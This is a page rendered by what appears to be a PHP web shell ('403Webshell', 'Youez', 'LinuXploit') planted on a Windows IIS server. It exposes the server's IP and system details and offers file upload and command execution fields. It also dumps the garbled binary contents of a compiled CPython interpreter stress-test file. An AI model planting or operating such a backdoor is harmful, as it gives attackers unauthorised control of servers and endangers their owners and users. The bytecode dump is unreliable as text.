403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_interpreters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_interpreters/__pycache__/test_stress.cpython-313.opt-1.pyc
�

��id����SSKrSSKrSSKJr SSKJr SSKJr \R"S5 SSKJr SSK	J
r
 SS	KJr "S
S\5r
\S:Xa\R"5 gg)
�N)�support)�
import_helper)�threading_helper�
_interpreters)�interpreters)�InterpreterError�)�TestBasec���\rSrSr\R
"S5S5r\R"SSSS9S5r\	R"5\R"SS	SS9S
55rSrSr
g
)�StressTests��cpuc��/n[S5H)n[R"5nURU5 M+ A[R
"5 g)N�d)�ranger�create�appendr�
gc_collect)�self�alive�_�interps    �7C:\Python313\\Lib\test\test_interpreters\test_stress.py�test_create_many_sequential�'StressTests.test_create_many_sequentials@�����s��A�!�(�(�*�F��L�L�� ��
�������iF)�size�memuse�dry_runc�T^^�/m[R"5mUU4Sjn[U5Vs/sHn[R"US9PM nn[R
"U5 TR
5 SSS5 @[R"5 gs snf!,(df   N*=f)Nc�>�TR[R5(d[e[R
"5nTR
U5 g)N)�waitr�
SHORT_TIMEOUT�TimeoutErrorrrr)rr�starts ��r�task�3StressTests.test_create_many_threaded.<locals>.task s8����:�:�g�3�3�4�4�"�"�!�(�(�*�F��L�L�� r��target)	�	threading�Eventr�Threadr�
start_threads�setrr)rrr'r�threadsrr&s     @@r�test_create_many_threaded�%StressTests.test_create_many_threadedsw��������!��	!�;@��+�F�+�Q�9�#�#�4�0�+��F�
�
+�
+�G�
4��I�I�K�5�������	G�
4�
4�s�B�$B�
B'i c�^^�[R"5m[R"5nSURS3mUU4Sjn[U5Vs/sHn[R"US9PM nn[R"U5 TR5 SSS5 [R"5 gs snf!,(df   N)=f)NzOif True:
            import _interpreters
            _interpreters.run_string(z, '1')
            c�p>�[R"5n[RS3nTR[R
5(d[eSnU(dURT5 SnU(dMgg![Ra%nURRS:waeSnAN?SnAff=f)Nz: interpreter already runningFTzinterpreter already running)rrrr#rr$r%�exec�ExecutionFailed�excinfo�msg)r�alreadyrunning�success�exc�scriptr&s    ��r�run�IStressTests.test_many_threads_running_interp_in_other_interp.<locals>.run7s����!�(�(�*�F�!-�!>�!>� ?�@<�<�N��:�:�g�3�3�4�4�"�"��G��#��K�K��'�#�G��g��$�3�3�K��{�{���*G�G��H��K�s�A<�<B5�B0�0B5r))r+r,rr�idrr-rr.r/rr)rrrr=rr0r<r&s      @@r�0test_many_threads_running_interp_in_other_interp�<StressTests.test_many_threads_running_interp_in_other_interp,s�������!���$�$�&��&�&,�i�i�[�1
���
	#�$:?�t��E��A�9�#�#�3�/���E�
�
+�
+�G�
4��I�I�K�5������F�
4�
4�s�B6�B;�;
C	c���SSKn[R"S5nUR[5 URSS5 UR
5 SSS5 g!,(df   g=f)Nr�	_testcapir	)rr�
import_module�assertRaisesr�set_nomemoryr)rrrCs   r�!test_create_interpreter_no_memory�-StressTests.test_create_interpreter_no_memoryNsL���!�/�/��<�	�
�
�
�/�
0��"�"�1�a�(�� � �"�1�
0�
0�s�#A�
A*�N)�__name__�
__module__�__qualname__�__firstlineno__r�requires_resourcer�
bigmemtestr1r�requires_working_threadingr@rG�__static_attributes__rIrrrrs���

���u�%��&��
���S��5�A�
�B�
��0�0�2����S��5�A��B�3��@#rr�__main__)r+�unittest�testr�test.supportrrrDr�test.support.interpretersr�utilsr
rrJ�mainrIrr�<module>rYsR�����&�)�
���O�,�%�6��F#�(�F#�R�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit